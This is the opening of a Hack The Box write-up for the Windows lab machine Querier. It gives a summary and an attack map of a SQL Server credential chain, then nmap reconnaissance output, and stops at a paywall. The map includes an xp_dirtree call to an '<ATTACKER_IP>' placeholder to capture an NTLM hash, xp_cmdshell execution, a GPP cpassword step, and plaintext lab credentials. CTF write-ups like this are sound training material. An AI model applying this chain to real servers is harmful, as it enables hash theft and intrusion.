root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat querier.md
// writeups

Querier

16 Feb 2019 · 22 min read · root access
Querier - maquina de Hack The Box

Executive summary — Querier revolves around Microsoft SQL Server 2017 and chains three credential hops, each enabled by a different hygiene failure: an unauthenticated, readable SMB share exposes an Excel workbook with macros that leaks a database credential; that low-privilege account can still call xp_dirtree to force the SQL Server service itself to authenticate over NTLM against a controlled host — capturing and cracking the mssql-svc hash, which is sysadmin; with xp_cmdshell enabled and RCE in hand, PowerUp finds an Administrator credential cached in a Group Policy Preferences file (MS14-025), which opens WinRM as local administrator. What makes this box "Medium" isn't any single step, but an authentication nuance: reporting isn't a native SQL login, it's a Windows account mapped into SQL, and you have to authenticate over NTLM against the machine's NetBIOS name instead of writing the credential off as invalid.

PlatformHack The Box
Operating systemWindows Server 2019 Standard (Build 17763)
DifficultyMedium
StatusRetired
Target IP10.129.48.201

Attack map

[445/SMB] \\QUERIER\Reports (null session) -> Currency Volume Report.xlsm
   |  VBA macro -> reporting : PcwTWTHRwryjc$c6
   v
[1433/MSSQL] windows-auth QUERIER/reporting (local Windows account, not a SQL login)
   |  EXEC xp_dirtree '\\<ATTACKER_IP>\x' -> Responder captures mssql-svc NTLMv2
   v
[John] netntlmv2 + rockyou -> mssql-svc : corporate568
   |
   v
[1433/MSSQL] mssql-svc = sysadmin -> xp_cmdshell -> RCE -> user.txt
   |  PowerUp Invoke-AllChecks
   v
[GPP] Cached Groups.xml -> cpassword (MS14-025) -> Administrator : MyUnclesAreMarioAndLuigi!!1!
   |
   v
[WinRM/SMB] Local Administrator -> root.txt + SAM/LSA dump

1. Reconnaissance

sudo nmap -p- --min-rate 3000 -T4 -Pn -oN nmap-allports.txt 10.129.48.201
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1433/tcp  open  ms-sql-s          # Microsoft SQL Server
5985/tcp  open  wsman             # WinRM
47001/tcp open  winrm
49664-49671/tcp open  (dynamic RPC)

A ping TTL of ≈127 (starting at 128, one router hop) already points to Windows. What matters more is what's missing: no 88/Kerberos, 389/LDAP or 53/DNS means this is not a domain controller, but a standalone Windows server running SQL Server. The useful surface narrows down to SMB (445) and MSSQL (1433).

sudo nmap -p135,139,445,1433,5985,47001 -sCV -Pn -oN nmap-services.txt 10.129.48.201
1433/tcp  open  ms-sql-s  Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
|     Target_Name: HTB
|     NetBIOS_Computer_Name: QUERIER
|     DNS_Computer_Name: QUERIER.HTB.LOCAL
|_    Product_Version: 10.0.17763
| ms-sql-info:
|_      Version: Microsoft SQL Server 2017 RTM
| smb2-security-mode:
|_    Message signing enabled but not required

The ms-sql-ntlm-info script fires an NTLM challenge at port 1433 and, without authenticating, already returns the host's NetBIOS name (QUERIER) and domain (HTB.LOCAL) — a detail that turns out to be essential later for Windows authentication against SQL Server.

echo "10.129.48.201 querier.htb.local querier.htb QUERIER" | sudo tee -a /etc/hosts

Methodology note: run the full -p- scan first. A default 1000-port scan would have found 445, but port 1433 — this box's actual attack vector — isn't among the common ports and would have been missed.

🔒 Clearance required

This content is Root Access only. Everything else on the site — the free tier, the whole public library — stays open.

See Root Access plans

No account? Create one free then upgrade from your console.